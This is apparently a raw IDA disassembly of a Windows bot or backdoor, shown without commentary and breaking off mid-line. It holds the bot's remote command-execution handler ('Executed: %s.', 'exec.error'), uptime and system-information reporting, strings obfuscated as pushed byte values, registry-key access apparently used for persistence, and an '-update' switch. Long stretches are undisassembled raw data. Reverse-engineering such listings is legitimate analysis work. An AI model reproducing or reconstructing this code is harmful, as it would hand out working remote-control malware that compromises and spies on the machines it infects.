[edi+9] call sub_4017EE lea edx, [esp+178h+var_164] push eax push edx call sub_402040 push 0 push 25h push 1Dh push 23h lea eax, [esp+190h+var_14C] mov ebx, 11h push 28h push eax mov [esp+198h+var_4], ebx call sub_4019C4 add esp, 20h mov esi, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 12h call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D8075 call sub_401E24 add esp, 10h lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 push 20h lea ecx, [esp+17Ch+var_14C] push 0 push ecx lea ecx, [esp+184h+var_164] call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 13h call sub_4017EE push eax push offset aS ; "%s" push offset byte_4E8E45 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_40562F ; --------------------------------------------------------------------------- loc_4054DC: ; CODE XREF: sub_404C30+7D3j lea ecx, [edi+0E23h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_40564A push offset asc_444600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi call sub_4016B8 mov edi, eax mov ecx, ebp mov [esp+178h+var_4], 14h call sub_4013E3 mov ecx, edi mov ebx, eax call sub_4013E3 mov ecx, esi lea edi, [ebx+eax+3] call sub_4013E3 cmp eax, edi lea ecx, [esp+178h+var_11C] setle bl or edi, 0FFFFFFFFh mov [esp+178h+var_4], edi call sub_401226 test bl, bl jnz loc_40562D lea ecx, [esp+178h+var_14C] call sub_40142E mov ecx, ebp mov [esp+178h+var_4], 15h call sub_4013E3 add eax, 2 mov ecx, esi push eax call sub_401479 push eax lea ecx, [esp+17Ch+var_14C] call sub_4015E1 lea ecx, [esp+178h+var_164] call sub_40142E lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], 16h call sub_4017EE push eax lea eax, [esp+17Ch+var_164] push offset aExecutedS_ ; "Executed: %s." push eax call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] call sub_4017EE push eax nop call near ptr 77C293C7h add esp, 4 cmp eax, edi lea ecx, [esi+69h] jnz short loc_4055E4 call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx jmp short loc_405602 ; --------------------------------------------------------------------------- loc_4055E4: ; CODE XREF: sub_404C30+997j call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_405602: ; CODE XREF: sub_404C30+9B2j mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 15h call sub_401226 mov [esp+178h+var_4], edi lea ecx, [esp+178h+var_14C] loc_405628: ; CODE XREF: sub_404C30+1D4j ; sub_404C30+2AFj ... call sub_401226 loc_40562D: ; CODE XREF: sub_404C30+91Cj ; sub_404C30+C6Aj xor al, al loc_40562F: ; CODE XREF: sub_404C30+6Fj ; sub_404C30+200j ... mov ecx, [esp+178h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 168h retn 4 ; --------------------------------------------------------------------------- loc_40564A: ; CODE XREF: sub_404C30+8C1j lea ecx, [edi+0C85h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_4056C0 lea edx, [esp+178h+var_164] mov ecx, edi push edx call sub_401F5A mov edi, eax lea ecx, [esi+69h] mov [esp+178h+var_4], 17h call sub_4014DD push eax mov ecx, edi call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_164] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_40562F ; --------------------------------------------------------------------------- loc_4056C0: ; CODE XREF: sub_404C30+A2Fj lea ecx, [edi+0CE1h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4057B1 push 1 push offset asc_444600 ; " " lea edx, [esp+180h+var_14C] push 1 push edx mov ecx, esi call sub_4011EA push 20h lea ecx, [esp+17Ch+var_164] push 0 push ecx mov ecx, eax mov [esp+184h+var_4], 18h call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 19h call sub_4017EE push eax push offset aS ; "%s" push offset byte_4E8E45 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 18h call sub_401226 or edi, 0FFFFFFFFh lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], edi call sub_401226 push 0 push 25h push 1Dh push 23h lea edx, [esp+188h+var_164] push 28h push edx call sub_4019C4 add esp, 18h mov esi, eax mov ecx, offset byte_4E8E45 mov [esp+178h+var_4], 1Ah call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D8075 call sub_401E24 add esp, 10h lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], edi call sub_401226 mov al, 1 jmp loc_40562F ; --------------------------------------------------------------------------- loc_4057B1: ; CODE XREF: sub_404C30+AA5j lea ecx, [edi+0CB3h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405885 push offset asc_444600 ; " " lea eax, [esp+17Ch+var_14C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+178h+var_4], 1Bh call sub_4017EE push eax nop call near ptr 77C1BF18h or ebp, 0FFFFFFFFh add esp, 4 lea ecx, [esp+178h+var_14C] mov ebx, eax mov [esp+178h+var_4], ebp call sub_401226 test ebx, ebx jnz short loc_405819 mov ebx, 7 loc_405819: ; CODE XREF: sub_404C30+BE2j lea ecx, [esp+178h+var_164] push ebx push ecx mov ecx, edi call sub_40195B push offset byte_448F30 lea ecx, [esp+17Ch+var_164] mov [esp+17Ch+var_4], 1Ch call sub_4012EE test eax, eax jz short loc_40586E lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 loc_40586E: ; CODE XREF: sub_404C30+C11j lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], ebp call sub_401226 mov al, 1 jmp loc_40562F ; --------------------------------------------------------------------------- loc_405885: ; CODE XREF: sub_404C30+B96j lea ecx, [edi+0DF5h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_40562D lea ecx, [esp+178h+var_100] call sub_40142E push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+22Ch+var_164] push 2Dh push ecx mov [esp+234h+var_4], 1Dh call sub_4019C4 add esp, 0BCh mov ecx, eax mov byte ptr [esp+178h+var_4], 1Eh call sub_4017EE push eax lea ecx, [esp+17Ch+var_100] call sub_401A9B lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_401226 mov edi, offset aN ; "N" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+178h+var_8C] repne scasb not ecx sub edi, ecx mov [esp+178h+var_168], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea edi, [esp+178h+var_8C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov esi, dword_511764 mov edi, ecx lea ecx, [esp+178h+var_168] push ecx push 20019h push eax push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push 80000002h call esi push 0 push 27h push 29h push 1Dh push 1Eh push 5 push 0Ch push 2 push 1 push 0Eh lea edx, [esp+1B4h+var_178] push 1Fh push edx call sub_4019C4 add esp, 30h lea ecx, [esp+18Ch+var_A0] push edi push ecx push 1 push 0 mov ecx, eax mov [esp+19Ch+var_18], 1Fh call sub_4017EE mov edx, [esp+19Ch+var_17C] push eax push edx nop call near ptr 2950000h lea ecx, [esp+1A4h+var_190] mov [esp+1A4h+var_30], 1Dh call sub_401226 mov eax, [esp+1A4h+var_194] mov edi, dword_511740 push eax call edi lea ecx, [esp+1A8h+var_198] push ecx push 0F003Fh push 0 lea ecx, [esp+1B4h+var_130] call sub_4017EE push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea edx, [esp+1E0h+var_1A8] push 2Dh push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov [esp+1BCh+var_48], 20h call sub_4017EE mov ebp, dword_51176C push eax mov eax, [esp+1C0h+var_1AC] push eax call ebp lea ecx, [esp+1C4h+var_1B0] mov [esp+1C4h+var_50], 1Dh call sub_401226 mov ecx, [esp+1C4h+var_1B4] push ecx call edi push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea edx, [esp+1ECh+var_1B4] push 9 push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov [esp+1C8h+var_54], 21h call sub_4017EE push eax call sub_401604 sub_404C30 endp ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 84C61424h, 17424h, 4FE81D00h, 8DFFFFB7h dd 0E844244Ch, 0FFFFB94Eh, 46822B3h, 68000001h, 104h, 4C244C8Dh dd 7C249C88h, 0E8000001h, 0FFFFC175h, 0FDE89050h, 6A023EA4h dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h dd 50096A38h, 0FFBEA3E8h, 2CC483FFh, 84C6C88Bh, 17424h dd 0BBE82300h, 50FFFFBCh, 48244C8Dh, 0FFBCB1E8h, 4C8D50FFh dd 84684C24h, 51004446h, 0FFB4E0E8h, 10C483FFh, 14244C8Dh dd 74249C88h, 0E8000001h, 0FFFFB6C6h, 44244C8Dh, 0FFBB22E8h dd 0E89050FFh, 23DB1AEh, 1024548Dh, 78244C8Dh, 3F6852h dd 6A000Fh, 0FFBC69E8h, 26850FFh, 0FF800000h, 6A006AD6h dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h dd 0FFBE1BE8h, 28C483FFh, 84C6C88Bh, 17424h, 33E82400h dd 8BFFFFBCh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch dd 53E80000h, 8BFFFFB6h, 52102454h, 6AD7FFh, 186A056Ah dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah dd 96A4424h, 0BDC6E850h, 0C483FFFFh, 0C6C88B38h, 1742484h dd 0E8250000h, 0FFFFBBDEh, 0B9EEE850h, 0C483FFFFh, 244C8D04h dd 249C8814h, 174h, 0FFB5FDE8h, 10468FFh, 4680000h, 8D000001h dd 0E84C244Ch, 0FFFFC035h, 0BDE89050h, 6A023EA3h, 6A056A00h dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h dd 6A44244Ch, 5DE85109h, 83FFFFBDh, 0C88B38C4h, 742484C6h dd 26000001h, 0FFBB75E8h, 4C8D50FFh, 6BE84824h, 50FFFFBBh dd 4C24548Dh, 44468468h, 9AE85200h, 83FFFFB3h, 4C8D10C4h dd 9C881424h, 17424h, 0B580E800h, 4C8DFFFFh, 0DCE84424h dd 50FFFFB9h, 0B068E890h, 448D023Dh, 4C8D1024h, 68507824h dd 0F003Fh, 23E8006Ah, 50FFFFBBh, 268h, 6AD6FF80h, 6A056A00h dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h dd 0FFBCD3E8h, 2CC483FFh, 84C6C88Bh, 17424h, 0EBE82700h dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch dd 0BE80000h, 8BFFFFB5h, 50102444h, 6AD7FFh, 186A056Ah dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h dd 0BC82E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h dd 0FFFFBA9Ah, 0B8AAE850h, 0C483FFFFh, 244C8D04h, 249C8814h dd 174h, 0FFB4B9E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch dd 0FFFFBEF1h, 79E89050h, 6A023EA2h, 6A056A00h, 6A056A18h dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 1DE85217h dd 83FFFFBCh, 0C88B30C4h, 742484C6h, 29000001h, 0FFBA35E8h dd 4C8D50FFh, 2BE84824h, 50FFFFBAh, 4C24448Dh, 44468468h dd 5AE85000h, 83FFFFB2h, 4C8D10C4h, 9C881424h, 17424h dd 0B440E800h, 4C8DFFFFh, 9CE84424h, 50FFFFB8h, 3DAF29E8h dd 4C8D9002h, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B9E0E800h dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah dd 146A056Ah, 46A016Ah, 156A106Ah, 476A046Ah, 4824548Dh dd 0E852046Ah, 0FFFFBB88h, 8B3CC483h, 2484C6C8h, 174h dd 0B9A0E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh, 9C881424h dd 17424h, 0B3C0E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h dd 6A402454h, 35E85202h, 83FFFFBBh, 0C88B34C4h, 742484C6h dd 2B000001h, 0FFB94DE8h, 5DE850FFh, 83FFFFB7h, 4C8D04C4h dd 9C881424h, 17424h, 0B36CE800h, 468FFFFh, 68000001h dd 104h, 4C244C8Dh, 0FFBDA4E8h, 2DE850FFh, 90023EA1h, 56A006Ah dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h dd 0BACEE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h dd 0FFFFB8E6h, 244C8D50h, 0B8DCE848h, 8D50FFFFh, 684C244Ch dd 444684h, 0B10BE851h, 0C483FFFFh, 244C8D10h, 249C8814h dd 174h, 0FFB2F1E8h, 244C8DFFh, 0B74DE844h, 0E850FFFFh dd 23DADDAh, 24548D90h, 244C8D10h, 3F685278h, 6A000F00h dd 0B894E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah dd 0B6A276Ah, 16A136Ah, 3024448Dh, 0E8502E6Ah, 0FFFFBA48h dd 8B24C483h, 2484C6C8h, 174h, 0B860E82Dh, 4C8BFFFFh, 51501024h dd 4C8DD5FFh, 9C881424h, 17424h, 0B280E800h, 548BFFFFh dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h, 6A0F6A0Eh dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 0F5E85014h, 83FFFFB9h dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB80DE8h, 1DE850FFh dd 83FFFFB6h, 4C8D04C4h, 9C881424h, 17424h, 0B22CE800h dd 468FFFFh, 68000001h, 104h, 4C244C8Dh, 0FFBC64E8h, 0E89050FFh dd 23E9FECh, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B98EE851h, 0C483FFFFh dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB7A6h, 244C8D50h dd 0B79CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AFCBE852h dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB1B1E8h dd 244C8DFFh, 0B60DE844h, 9050FFFFh, 3DAC99E8h, 24448D02h dd 244C8D10h, 3F685078h, 6A000F00h, 0B754E800h, 6850FFFFh dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB903E8h, 28C483FFh dd 84C6C88Bh, 17424h, 1BE83000h, 8BFFFFB7h, 50102454h dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B138E800h, 448BFFFFh dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h dd 4C8D10C4h, 84C64424h, 17424h, 0FBE81D00h, 8DFFFFB0h dd 0C778244Ch, 1742484h, 0FFFF0000h, 0E7E8FFFFh, 0B0FFFFB0h dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_4066A0 proc near ; CODE XREF: sub_40195Bj var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4066A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push ebp push esi xor ebx, ebx push edi lea ecx, [esp+38h+var_24] mov [esp+38h+var_28], ebx call sub_40142E mov esi, [esp+38h+arg_4] mov ebp, 1 cmp esi, ebx mov [esp+38h+var_4], ebp jnz short loc_4066F1 mov esi, [esp+38h+arg_0] push ebx mov ecx, esi call sub_402112 mov [esp+38h+var_28], ebp jmp loc_406797 ; --------------------------------------------------------------------------- loc_4066F1: ; CODE XREF: sub_4066A0+3Aj nop call near ptr 27E0C7Ah mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx add edx, ecx sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov edi, edx cmp edi, esi jl short loc_406783 mov eax, ecx mov ecx, 15180h cdq idiv ecx mov esi, 0E10h mov ecx, edx mov eax, ecx cdq idiv esi mov eax, 88888889h mov esi, edx imul esi add edx, esi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx push edx push edi lea edx, [esp+44h+var_24] push offset aUpDdDhDm ; "up: %dd %dh %dm" push edx call sub_40102D mov esi, [esp+4Ch+arg_0] add esp, 14h lea eax, [esp+38h+var_24] mov ecx, esi push eax call sub_4014D3 jmp short loc_406793 ; --------------------------------------------------------------------------- loc_406783: ; CODE XREF: sub_4066A0+7Cj mov esi, [esp+38h+arg_0] push offset byte_448F30 mov ecx, esi call sub_401870 loc_406793: ; CODE XREF: sub_4066A0+E1j mov [esp+38h+var_28], ebp loc_406797: ; CODE XREF: sub_4066A0+4Cj lea ecx, [esp+38h+var_24] mov byte ptr [esp+38h+var_4], bl call sub_401226 mov ecx, [esp+38h+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 28h retn 8 sub_4066A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_406810: ; CODE XREF: ___:00401672j push ecx push esi mov esi, [esp+0Ch] push offset byte_448F30 mov ecx, esi mov dword ptr [esp+8], 0 call sub_401870 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406850 proc near ; CODE XREF: sub_401F5Aj var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_164 = byte ptr -164h var_14C = byte ptr -14Ch var_144 = dword ptr -144h var_140 = dword ptr -140h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_406850 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18Ch push ebp push esi push edi lea ecx, [esp+1A4h+var_18C] mov [esp+1A4h+var_198], 0 call sub_40142E mov [esp+1A4h+var_4], 1 nop call near ptr 27E0C7Ah mov ecx, eax mov eax, 10624DD3h mul ecx mov esi, edx lea edx, [esp+1A4h+var_14C] push edx mov [esp+1A8h+var_190], 10h shr esi, 6 mov [esp+1A8h+var_194], 15h nop call near ptr 2820000h lea eax, [esp+1A4h+var_12C] mov [esp+1A4h+var_12C], 94h push eax nop call near ptr 2810000h mov eax, [esp+1A4h+var_128] cmp eax, 4 jnz short loc_40691E mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406906 mov eax, [esp+1A4h+var_11C] cmp eax, 1 jnz short loc_4068F6 mov ebp, offset a95 ; "95" jmp loc_406991 ; --------------------------------------------------------------------------- loc_4068F6: ; CODE XREF: sub_406850+9Aj cmp eax, 2 jnz loc_40698D mov ebp, offset aNt ; "NT" jmp short loc_40695A ; --------------------------------------------------------------------------- loc_406906: ; CODE XREF: sub_406850+8Ej cmp eax, 0Ah jnz short loc_406912 mov ebp, offset a98 ; "98" jmp short loc_406950 ; --------------------------------------------------------------------------- loc_406912: ; CODE XREF: sub_406850+B9j cmp eax, 5Ah jnz short loc_40694B mov ebp, offset aMe ; "ME" jmp short loc_406950 ; --------------------------------------------------------------------------- loc_40691E: ; CODE XREF: sub_406850+83j cmp eax, 5 jnz short loc_40694B mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406935 mov ebp, offset a2000 ; "2000" jmp short loc_406950 ; --------------------------------------------------------------------------- loc_406935: ; CODE XREF: sub_406850+DCj cmp eax, 1 jnz short loc_406941 mov ebp, offset aXp ; "XP" jmp short loc_406950 ; --------------------------------------------------------------------------- loc_406941: ; CODE XREF: sub_406850+E8j cmp eax, 2 mov ebp, offset a2003 ; "2003" jz short loc_406950 loc_40694B: ; CODE XREF: sub_406850+C5j ; sub_406850+D1j mov ebp, offset a??? ; "???" loc_406950: ; CODE XREF: sub_406850+C0j ; sub_406850+CCj ... cmp [esp+1A4h+var_11C], 2 jnz short loc_406991 loc_40695A: ; CODE XREF: sub_406850+B4j mov al, [esp+1A4h+var_118] test al, al jz short loc_406991 lea ecx, [esp+1A4h+var_118] lea edx, [esp+1A4h+var_98] push ecx push ebp push offset aSS_2 ; "%s [%s]" push edx call near ptr byte_5F285B nop add esp, 10h lea ebp, [esp+1A4h+var_98] jmp short loc_406991 ; --------------------------------------------------------------------------- loc_40698D: ; CODE XREF: sub_406850+A9j mov ebp, [esp+1A4h+var_198] loc_406991: ; CODE XREF: sub_406850+A1j ; sub_406850+108j ... lea eax, [esp+1A4h+var_190] lea ecx, [esp+1A4h+var_174] push eax push ecx nop call near ptr 280102Ah lea edx, [esp+1A4h+var_194] lea eax, [esp+1A4h+var_164] push edx push eax call near ptr 2930D9Ah nop mov eax, esi mov ecx, 15180h cdq idiv ecx lea eax, [esp+1A4h+var_174] mov edi, 0E10h mov ecx, edx lea edx, [esp+1A4h+var_164] push edx push eax mov eax, ecx cdq idiv edi mov eax, 88888889h mov edi, edx imul edi add edx, edi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx mov eax, 0C22E4507h sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx mov ecx, [esp+1B0h+var_120] push edx imul esi add edx, esi sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov eax, [esp+1B4h+var_128] push edx mov edx, [esp+1B8h+var_124] push ecx mov ecx, [esp+1BCh+var_144] push edx push eax mov eax, 804021h push ebp mul ecx sub ecx, edx mov eax, 804021h shr ecx, 1 add ecx, edx shr ecx, 13h push ecx mov ecx, [esp+1CCh+var_140] mul ecx sub ecx, edx shr ecx, 1 add ecx, edx shr ecx, 13h push ecx call sub_4017FD push eax lea ecx, [esp+1D4h+var_18C] push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "... push ecx call sub_40102D mov esi, [esp+1DCh+arg_0] add esp, 38h lea edx, [esp+1A4h+var_18C] push edx mov ecx, esi call sub_4014D3 mov [esp+1A4h+var_198], 1 lea ecx, [esp+1A4h+var_18C] mov byte ptr [esp+1A4h+var_4], 0 call sub_401226 mov ecx, [esp+1A4h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 198h retn 4 sub_406850 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406B60 proc near ; CODE XREF: sub_40168Bj mov eax, [ecx+9] retn sub_406B60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406B80 proc near ; CODE XREF: sub_401023j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_406B80 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_406B80 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406BF0 proc near ; CODE XREF: sub_4015E6j mov eax, ecx mov dword ptr [eax], offset off_43F008 mov dword ptr [eax+110h], 0 retn sub_406BF0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_406C20: ; CODE XREF: ___:00401FAAj push esi mov esi, ecx call sub_401447 test byte ptr [esp+8], 1 jz short loc_406C38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_406C38: ; CODE XREF: ___:00406C2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406C50 proc near ; CODE XREF: sub_401447j mov dword ptr [ecx], offset off_43F008 mov ecx, [ecx+110h] test ecx, ecx jz short locret_406C67 push ecx call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx locret_406C67: ; CODE XREF: sub_406C50+Ej retn sub_406C50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_406C80 proc near ; CODE XREF: sub_401384j arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_406C80 push eax mov large fs:0, esp sub esp, 448h push ebx mov ebx, ecx mov eax, [ebx+110h] test eax, eax jz short loc_406CB1 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_406CB1: ; CODE XREF: sub_406C80+26j push ebp push esi mov esi, [esp+460h+arg_0] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call sub_437AEA sub_406C80 endp ; --------------------------------------------------------------------------- mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+110h], edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, [ebx+110h] or ecx, 0FFFFFFFFh mov byte ptr [ebx+4], 0 mov dword ptr [ebx+5], 0 mov byte ptr [ebx+9], 0 mov byte ptr [ebx+0Ah], 0 mov byte ptr [ebx+0Bh], 0 repne scasb not ecx push ecx call sub_437AEA ; --------------------------------------------------------------------------- mov edi, [ebx+110h] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov ebp, dword_511B00 mov eax, ecx mov esi, edi mov edi, edx push offset asc_444600 ; " " shr ecx, 2 rep movsd mov ecx, eax push edx and ecx, 3 rep movsb call ebp add esp, 10h mov [esp+58h], eax lea esi, [esp+5Ch] mov edi, 0FFh loc_406D62: ; CODE XREF: ___:00406D74j push offset asc_444600 ; " " push 0 call ebp mov [esi], eax add esp, 8 add esi, 4 dec edi jnz short loc_406D62 mov eax, [esp+58h] xor ecx, ecx cmp eax, ecx jz loc_406F68 lea ebp, [esp+58h] loc_406D88: ; CODE XREF: ___:00406F60j mov edi, [ebp+0] mov esi, offset dword_4447EC mov eax, edi loc_406D92: ; CODE XREF: ___:00406DB0j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DB6 test cl, cl jz short loc_406DB2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DB6 add eax, 2 add esi, 2 test cl, cl jnz short loc_406D92 loc_406DB2: ; CODE XREF: ___:00406D9Cj xor eax, eax jmp short loc_406DBB ; --------------------------------------------------------------------------- loc_406DB6: ; CODE XREF: ___:00406D98j ; ___:00406DA6j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DBB: ; CODE XREF: ___:00406DB4j test eax, eax jz loc_406F58 mov esi, offset aUpdate ; "-update" mov eax, edi loc_406DCA: ; CODE XREF: ___:00406DE8j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DEE test cl, cl jz short loc_406DEA mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DEE add eax, 2 add esi, 2 test cl, cl jnz short loc_406DCA loc_406DEA: ; CODE XREF: 